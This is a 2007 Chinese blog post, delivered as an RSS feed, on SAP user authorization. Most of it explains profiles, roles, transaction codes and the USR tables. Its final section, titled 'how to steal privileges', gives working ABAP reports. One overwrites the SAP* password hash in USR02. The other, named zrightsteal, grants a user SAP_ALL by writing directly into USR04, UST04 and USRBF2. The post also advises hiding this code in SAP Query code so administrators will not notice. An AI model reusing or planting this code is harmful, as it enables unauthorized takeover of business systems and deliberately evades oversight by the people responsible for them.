﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-Junky's IT Notebook-随笔分类-sap</title><link>http://www.blogjava.net/junky/category/24032.html</link><description /><language>zh-cn</language><lastBuildDate>Wed, 11 Jul 2007 16:19:55 GMT</lastBuildDate><pubDate>Wed, 11 Jul 2007 16:19:55 GMT</pubDate><ttl>60</ttl><item><title>SAP 用户权限</title><link>http://www.blogjava.net/junky/archive/2007/07/11/129697.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 11 Jul 2007 13:04:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/11/129697.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/129697.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/11/129697.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/129697.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/129697.html</trackback:ping><description><![CDATA[<div class=storytext>
<p>用户权限解剖:</p>
<p>通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile name, <br>记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?</p>
<br>
<p>首先明白几个概念.<br>1.activity<br>这样说吧,我们从activity谈起,activity是什么意思这个你查下<br>字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,<br>不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.<br>这些东西当年德国佬是写在tobj表中的.<br>activity 也是可分activity group的.</p>
<p>2.activity category &amp;Authorization group<br>&nbsp; Role Vs Profile<br>你看看表T020就知道了,就是什么K,D, A, M什么的.</p>
<p>profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,<br>权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产<br>生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.</p>
<p>role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个<br>用户,我没有任何role,但是加如SAP_All profile<br>也是可做任何事情.<br>SAP本身有很多default role &amp; profile.</p>
<p><br>3.最常用的PFCG-&gt;authorizations-&gt;change authorization data-&gt;<br>进入后选取selection criteria 可看到所有的authorization object<br>manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就<br>知道缺少哪个authorization objec,然后手工加入就可以.<br>你选去authorization levels就可by account type再细分权限.<br>有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.</p>
<p>那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下.</p>
<p>4.关于权限方面的几个t-code.</p>
<p>(一)Role(角色)相关T-code:<br>PFAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 标准<br>PFAC_CHG&nbsp;改变<br>PFAC_DEL&nbsp;删除<br>PFAC_DIS&nbsp;显示<br>PFAC_INS&nbsp;新建<br>PFAC_STR<br>PFCG&nbsp;&nbsp;创建<br>ROLE_CMP&nbsp;比较<br>SUPC&nbsp;&nbsp;批量建立角色profile<br>SWUJ&nbsp;&nbsp;测试<br>SU03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 检测authorzation data<br>SU25, SU26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 检查updated profile<br>(二)建立用户相关T-code:<br>SU0&nbsp;&nbsp;<br>SU01&nbsp;&nbsp;<br>SU01D&nbsp;&nbsp;<br>SU01_NAV&nbsp;<br>SU05&nbsp;<br>SU50, Su51, SU52&nbsp;<br>SU1&nbsp;&nbsp;<br>SU10&nbsp;&nbsp;批量<br>SU12&nbsp;&nbsp;批量<br>SUCOMP:维护用户公司地址<br>SU2&nbsp;&nbsp;change用户参数<br>SUIM&nbsp;&nbsp;用户信息系统<br>用户组<br>SUGR:维护&nbsp;<br>SUGRD:显示<br>SUGRD_NAV:还是维护<br>SUGR_NAV:还是显示<br>&nbsp;<br>(三)关于profile&amp;Authoraztion Data<br>SU02:直接创建profile不用role<br>SU20:细分Authorization Fields</p>
<p>SU21(SU03):****维护Authorization Objects(TOBJ,USR12).<br>对于凭证你可细分到:<br>F_BKPF_BED: Accounting Document: Account Authorization for Customers<br>F_BKPF_BEK: Accounting Document: Account Authorization for Vendors<br>F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts<br>F_BKPF_BLA: Accounting Document: Authorization for Document Types<br>F_BKPF_BUK: Accounting Document: Authorization for Company Codes<br>F_BKPF_BUP: Accounting Document: Authorization for Posting Periods<br>F_BKPF_GSB: Accounting Document: Authorization for Business Areas<br>F_BKPF_KOA: Accounting Document: Authorization for Account Types<br>F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy<br>然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.</p>
<p>对具体transaction code细分:&nbsp;&nbsp;&nbsp;&nbsp; <br>SU22,SU24&nbsp;&nbsp;<br>SU53:*** 就是你出错用来检查没有那些authoraztion objects.<br>SU56:分析authoraztion data buffers.<br>SU87:用来检查用户改变产生的history<br>SU96,SU97,SU98,SU99:干啥的?<br>SUPC:批量产生role</p>
<p>DB和logical层:<br>SUKRI:Transaction Combinations Critical for Security<br>tables:<br>TOBJ : All avaiable authorzation objects.(全在此)<br>USR12: 用户级authoraztion值<br>-----------------------------<br>USR01:主数据<br>USR02:密码在此<br>USR04:授权在此<br>USR03:User address data<br>USR05:User Master Parameter ID<br>USR06:Additional Data per User<br>USR07:Object/values of last authorization check that failed<br>USR08:Table for user menu entries<br>USR09:Entries for user menus (work areas)<br>USR10:User master authorization profiles<br>USR11:User Master Texts for Profiles (USR10)<br>USR12:User master authorization values<br>USR13:Short Texts for Authorizations<br>USR14:Surchargeable Language Versions per User<br>USR15:External User Name<br>USR16:Values for Variables for User Authorizations<br>USR20:Date of last user master reorganization<br>USR21:Assign user name address key<br>USR22:Logon data without kernel access<br>USR30:Additional Information for User Menu<br>USR40:Table for illegal passwords<br>USR41:当前用户<br>USREFUS:<br>USRBF2<br>USRBF3<br>UST04:User Profile在此<br>UST10C: Composite profiles<br>UST10S: Single profiles (角色对应的<br>UST12 : Authorizations..............................</p>
<p>..............................<br>如何窃取权限</p>
<p>..............................<br></p>
<p>用户:<br>User type用户类型(干啥用的不讲):<br>通常的用户类型有<br>a.dialog (就是normal user)<br>b.communication<br>c.system<br>d.service<br>e.reference.</p>
<p>通常你在使用任何T-code前一定会有权限检测的.<br>AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.<br>**如果coding只要使用此函数就够了.<br>AUTHORITY_CHECK_TCODE:检查T-code</p>
<p>这倆函数是真正检查autorization objects的.<br>SUSR_USER_AUTH_FOR_OBJ_GET:<br>AUTHORIZATION_DATA_READ_SELOBJ:<br>------------------------------------------<br>将SAP*的密码改成123的程序,很简单.<br>我们找到那个user logon表USR02.<br>(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)<br>report zmodSAP*.<br>data zUSR02 like USR02 .<br>select&nbsp; single * into zUSR02 from USR02 <br>where BNAME = 'SAP*'.<br>zUSR02-Bcode = 'DF52478E6FF90EEB' . <br>Update USR02 from zUSR02&nbsp; .</p>
<p>&nbsp;</p>
<p>现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个<br>query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...</p>
<p>这样做太狠毒了.还是自己偷偷搞自己的用户吧.<br>在此你必须对权限结构非常清晰.<br>权限和三个表有关系.<br>a.USR04<br>b.USR04<br>c.USRBF2&nbsp; 这个表是对应到所用的authorzization objects的.<br>*&amp;---------------------------------------------------------------------*<br>*&amp; Report&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Steal SAP ALL Right&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Creation Date : 2004.04.01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Created by&nbsp;&nbsp;&nbsp; : Stone.Fu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Description&nbsp;&nbsp; : 可窃取SAP ALL权限&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp; Modified Date : 2005.11.02<br>*&amp; Description&nbsp;&nbsp; : 将此code hide在report painter or query&nbsp; code&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>*&amp;---------------------------------------------------------------------*</p>
<p>report zrightsteal.<br>data zUSR04 like USR04 . "????????work area??<br>data zUST04 like USR04 .<br>data zPROFS&nbsp; like USR04-PROFS.<br>data ZUSRBF2 like USRBF2 occurs 0 with header line.<br>"USRBF2?????internal table<br>** Update Authorization table USR04.<br>select&nbsp; single * into zUSR04 from USR04<br>where BNAME = 'ZABC2'. "SAP All 权限<br>move 'C SAP_ALL' to zPROFS .<br>ZUSR04-NRPRO = '14'.<br>zUSR04-PROFS&nbsp; = zPROFS.<br>Update USR04 from zUSR04&nbsp; .</p>
<p>**Update User authorization masters table UST04 .<br>select&nbsp; single * into zUST04 from UST04<br>where BNAME = 'ZABC2'.<br>zUST04-PROFILE&nbsp; = 'SAP_ALL'. "SAP all 权限<br>Update UST04 from zUST04 .</p>
<p>*?????insert<br>*ZUST04-MANDT = '200'.<br>*ZUST04-BNAME = 'ZABC2'.<br>*ZUST04-PROFILE = 'SAP_ALL'.<br>*Insert UST04 from ZUST04 .</p>
<p>select *&nbsp; from&nbsp; USRBF2 into table ZUSRBF2<br>where BNAME = 'SAP*' .<br>Loop at ZUSRBF2.<br>ZUSRBF2-BNAME = 'ZABC2'.<br>Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.<br>endloop.<br>INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.</p>
<p>自己建立一个ztest用户不给它任何权限然后在test machine上run&nbsp; 报表zrightsteal.</p>
<p>然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.&nbsp; K, 现在我碰到一个大问题了, 记帐程序被改的出了问题..</p>
</div>
<img src ="http://www.blogjava.net/junky/aggbug/129697.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-11 21:04 <a href="http://www.blogjava.net/junky/archive/2007/07/11/129697.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>